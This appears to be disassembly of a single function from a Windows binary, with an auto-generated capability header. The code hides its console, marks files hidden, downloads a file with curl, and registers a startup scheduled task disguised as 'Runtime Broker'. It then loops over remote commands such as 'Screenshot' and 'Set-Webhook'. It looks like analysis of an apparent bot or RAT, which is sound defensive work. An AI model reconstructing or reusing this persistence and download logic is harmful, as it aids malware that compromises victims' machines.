Function at 0x1400095c0
Capabilities:
Execute command
Schedule task via at
Schedule task via schtasks

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x268]
sub rsp, 0x340
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rbp + 0x210], rax
xor r13d, r13d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov r8d, 0x104
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rbp]
lea rcx, [rbp - 0x20]
call fcn.1400071d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r13b
mov rdi, qword [0x140013e80]
lea rsi, [0x140013e70]
mov rbx, rsi
cmp qword [0x140013e88], 0xf
cmova rbx, qword [0x140013e70]
call fcn.14000a548
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rdi
lea r8, [rbp - 0x40]
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.140001e00
nop
lea rcx, [rsp + 0x20]
call fcn.1400028d0
movzx ebx, al
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x1400096db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400096d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400096d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
movabs rcx, 0x8000000000000000
mov edx, 0x16
movabs r12, 0x7fffffffffffffff
test bl, bl
jne 0x140009986
mov rdi, qword [0x140013e80]
mov rbx, rsi
cmp qword [0x140013e88], 0xf
cmova rbx, qword [0x140013e70]
call fcn.14000a548
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rdi
lea r8, [rbp - 0x40]
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.140001e00
nop
mov qword [rbp - 0x40], r13
lea rax, [0x1400130c8]
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x20]
call fcn.140009160
cmp dword [rbp - 0x40], 0
je 0x14000976d
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x40]
lea rcx, str.create_directories
call fcn.140002870
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x1400097b2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400097ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400097ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
mov r15, qword [0x140013e80]
mov rax, r12
sub rax, r15
cmp rax, 0xe
jae 0x1400097cb
call fcn.1400016a0
int3
cmp qword [0x140013e88], 0xf
cmova rsi, qword [0x140013e70]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
lea r14, [r15 + 0xe]
mov ebx, 0xf
lea rdi, [rbp - 0x40]
cmp r14, rbx
jbe 0x140009877
mov rbx, r14
or rbx, 0xf
cmp rbx, r12
jbe 0x140009838
mov rbx, r12
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000ab30
test rax, rax
je 0x140009957
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140009873
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140009861
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x140009819
call fcn.140001600
int3
test rcx, rcx
je 0x140009870
call fcn.14000ab30
mov rdi, rax
jmp 0x140009873
mov rdi, r13
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], rbx
movsd xmm0, qword [str.attrib_h_s__]
movsd qword [rdi], xmm0
mov eax, dword [0x14000e110]
mov dword [rdi + 8], eax
movzx eax, word [0x14000e114]
mov word [rdi + 0xc], ax
lea rcx, [rdi + 0xe]
mov r8, r15
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 0xc
lea rdx, str.___NUL_2_NUL
lea rcx, [rbp - 0x40]
call fcn.140007960
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000991d
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009918
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009918
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
movups xmmword [rbp - 0x60], xmm6
movups xmmword [rbp - 0x50], xmm7
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140009963
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000995e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000995e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rcx, 0x8000000000000000
mov edx, 0x16
mov rsi, qword [0x140013e60]
mov rax, r12
sub rax, rsi
cmp rax, 0xc
jae 0x14000999f
call fcn.1400016a0
int3
lea r15, [0x140013e50]
mov r12, r15
cmp qword [0x140013e68], 0xf
cmova r12, qword [0x140013e50]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea r14, [rsi + 0xc]
mov ebx, 0xf
lea rdi, [rbp - 0x80]
cmp r14, rbx
jbe 0x140009a50
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140009a16
mov rbx, rax
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.14000ab30
test rax, rax
je 0x140009c6c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140009a4c
cmp rbx, 0x16
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140009a3a
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x1400099f7
call fcn.140001600
int3
test rcx, rcx
je 0x140009a49
call fcn.14000ab30
mov rdi, rax
jmp 0x140009a4c
mov rdi, r13
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], rbx
movsd xmm0, qword [str.curl__s__o__]
movsd qword [rdi], xmm0
mov eax, dword [0x14000d9d8]
mov dword [rdi + 8], eax
lea rcx, [rdi + 0xc]
mov r8, rsi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 6
lea rdx, str.___L__
lea rcx, [rbp - 0x80]
call fcn.140007960
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x140013df0]
cmp qword [0x140013e08], 0xf
cmova rdx, qword [0x140013df0]
mov r8, qword [0x140013e00]
lea rcx, [rsp + 0x60]
call fcn.140007960
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r8d, 0xc
lea rdx, str.___NUL_2_NUL
lea rcx, [rsp + 0x40]
call fcn.140007960
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140009b8c
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009b87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
movups xmmword [rbp - 0x60], xmm6
movups xmmword [rbp - 0x50], xmm7
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140009bd4
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009bcf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009bcf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
movdqa xmm0, xmmword [0x14000e190]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140009c27
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c22
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
movdqa xmm0, xmmword [0x14000e190]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140009c78
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009c73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r14, qword [0x140013e60]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0x2b
jae 0x140009caf
call fcn.1400016a0
int3
cmp qword [0x140013e68], 0xf
cmova r15, qword [0x140013e50]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rsi, [r14 + 0x2b]
mov ebx, 0xf
lea rdi, [rsp + 0x20]
cmp rsi, rbx
jbe 0x140009d5f
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140009d1f
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14000ab30
test rax, rax
je 0x140009e5a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140009d5a
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140009d48
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x140009d00
call fcn.140001600
int3
test rcx, rcx
je 0x140009d57
call fcn.14000ab30
mov rdi, rax
jmp 0x140009d5a
mov rdi, r13
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbx
movups xmm0, xmmword [str.SCHTASKS__CREATE__TN__Runtime_Broker___TR__]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x14000e158]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [0x14000e168]
movsd qword [rdi + 0x20], xmm0
movzx eax, word [0x14000e170]
mov word [rdi + 0x28], ax
movzx eax, byte [0x14000e172]
mov byte [rdi + 0x2a], al
lea rcx, [rdi + 0x2b]
mov r8, r14
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 0x2a
lea rdx, str.___SC_onstart__delay_0000:30__F__NUL_2_NUL
lea rcx, [rsp + 0x20]
call fcn.140007960
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140009e1e
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009e19
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
movups xmmword [rbp - 0x60], xmm6
movups xmmword [rbp - 0x50], xmm7
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140009e66
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009e61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009e61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000ab6c
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rsi, 0x68736e6565726353
movabs rdi, 0x656d69542d746553
movabs r14, 0x726464412d746553
movabs r15, 0x686265572d746553
lea rcx, [rsp + 0x20]
call fcn.140003d00
mov rbx, rax
lea rax, [rbp - 0x60]
cmp rax, rbx
je 0x140009f21
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140009ef3
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009eee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a018
call fcn.14000ab6c
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140009f5e
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009f59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a018
call fcn.14000ab6c
lea rax, [rbp - 0x60]
mov rcx, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
cmova rax, rcx
mov r8, qword [rbp - 0x50]
cmp r8, 0xa
jne 0x140009f89
cmp qword [rax], rsi
jne 0x140009f89
cmp word [rax + 8], 0x746f
je 0x140009ff0
lea rax, [rbp - 0x60]
cmp rdx, 0xf
cmova rax, rcx
cmp r8, 0xb
jne 0x140009fae
cmp qword [rax], r14
jne 0x140009fae
cmp word [rax + 8], 0x7365
jne 0x140009fae
cmp byte [rax + 0xa], 0x73
je 0x140009ff0
lea rax, [rbp - 0x60]
cmp rdx, 0xf
cmova rax, rcx
cmp r8, 0xb
jne 0x140009fd3
cmp qword [rax], r15
jne 0x140009fd3
cmp word [rax + 8], 0x6f6f
jne 0x140009fd3
cmp byte [rax + 0xa], 0x6b
je 0x140009ff0
lea rax, [rbp - 0x60]
cmp rdx, 0xf
cmova rax, rcx
cmp r8, 9
jne 0x14000a006
cmp qword [rax], rdi
jne 0x14000a006
cmp byte [rax + 8], 0x72
jne 0x14000a006
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x20]
call fcn.1400073c0
mov rcx, rax
call fcn.140005940
call fcn.140004430
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140009ea2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3